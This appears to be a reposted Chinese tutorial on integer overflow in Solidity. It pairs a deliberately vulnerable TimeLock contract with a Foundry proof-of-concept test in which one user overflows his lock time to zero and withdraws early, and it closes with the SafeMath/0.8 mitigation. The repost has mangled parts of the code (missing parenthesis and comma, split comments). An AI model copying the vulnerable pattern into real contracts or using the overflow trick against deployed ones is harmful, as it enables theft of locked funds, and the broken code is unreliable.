智能合约漏洞入门 (1) 整形溢出

admin 2024年5月30日22:18:37评论7 views字数 3343阅读11分8秒阅读模式

整形溢出

描述:

TimeLock智能合约代码中存在一个缺陷,允许攻击者过早地从TimeLock合约中提取他们存入的资金。这个漏洞是由于increaseLockTime函数中的溢出引起的, 该函数以一种方式操纵锁定时间,导致它回绕到0, 使攻击者能够在实际等待期到期之前提取资金。

场景:

此合约旨在充当时间保险箱。用户可以向此合约存入资金,但至少一周内不能提取。用户也可以将等待时间延长超过1周的等待期。

  1. Alice和Bob都有1个以太币余额
  2. 部署TimeLock合约
  3. Alice和Bob都向TimeLock存入1个以太币,他们需要等待1周才能解锁以太币
  4. Bob在他的lockTime上引起了溢出
  5. Alice不能提取1个以太币,因为锁定时间尚未过期。
  6. Bob可以提取1个以太币,因为lockTime溢出到了0

发生了什么

攻击导致TimeLock.lockTime溢出, 并能够在1周的等待期之前提取。

影响

Solidity版本小于0.8且没有使用SafeMath

Mitigation:

为了缓解溢出漏洞,请使用SafeMath库或使用Solidity版本大于0.8

TimeLock 合约:

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncreasepublic {
        lockTime[msg.sender] += _secondsToIncrease; // vulnerable
    }

    function withdraw() public {
        require(balances[msg.sender] > 0"Insufficient funds");
        require(
            block.timestamp > lockTime[msg.sender],
            "Lock time not expired"
        );

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

测试方式:

forge test --contracts src/test/Overflow.sol -vvvv

// The testOverflow function, used to test for overflow vulnerabilities.
    function testOverflow() public {
        // Log Alice's balance.
        console.log("Alice balance", alice.balance);
        // Log Bob'
s balance.
        console.log("Bob balance", bob.balance);

        // Log the start of Alice's deposit.
        console.log("Alice deposit 1 Ether...");
        // Set the message sender to Alice.
        vm.prank(alice);
        // Alice deposits 1 ether to the TimeLock contract.
        TimeLockContract.deposit{value: 1 ether}();
        // Log Alice'
s new balance.
        console.log("Alice balance", alice.balance);

        // Log the start of Bob's deposit.
        console.log("Bob deposit 1 Ether...");
        // Set the message sender to Bob.
        vm.startPrank(bob);
        // Bob deposits 1 ether to the TimeLock contract.
        TimeLockContract.deposit{value: 1 ether}();
        // Log Bob'
s new balance.
        console.log("Bob balance", bob.balance);

        // Exploit: Increase the lock time so it overflows and becomes 0.
        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)
        );

        // Log that Bob can now withdraw his funds because the lock time has overflowed.
        console.log(
            "Bob will successfully withdraw, because the lock time is overflowed"
        );
        // Bob withdraws his funds.
        TimeLockContract.withdraw();
        // Log Bob's new balance.
        console.log("Bob balance", bob.balance);
        // Stop Bob'
s prank.
        vm.stopPrank();

        // Start Alice's prank.
        vm.prank(alice);
        // Log that Alice can'
t withdraw her funds because the lock time has not expired.
        console.log(
            "Alice will fail to withdraw, because the lock time did not expire"
        );
        // Try to withdraw Alice's funds. This should revert because the lock time has not expired.
        TimeLockContract.withdraw(); // expect revert
    }

红框:TimeLock.lockTime溢出

紫框:问题已解决。

智能合约漏洞入门 (1) 整形溢出

原文始发于微信公众号(3072):智能合约漏洞入门 (1) 整形溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月30日22:18:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约漏洞入门 (1) 整形溢出https://cn-sec.com/archives/2795969.html

发表评论

匿名网友 填写信息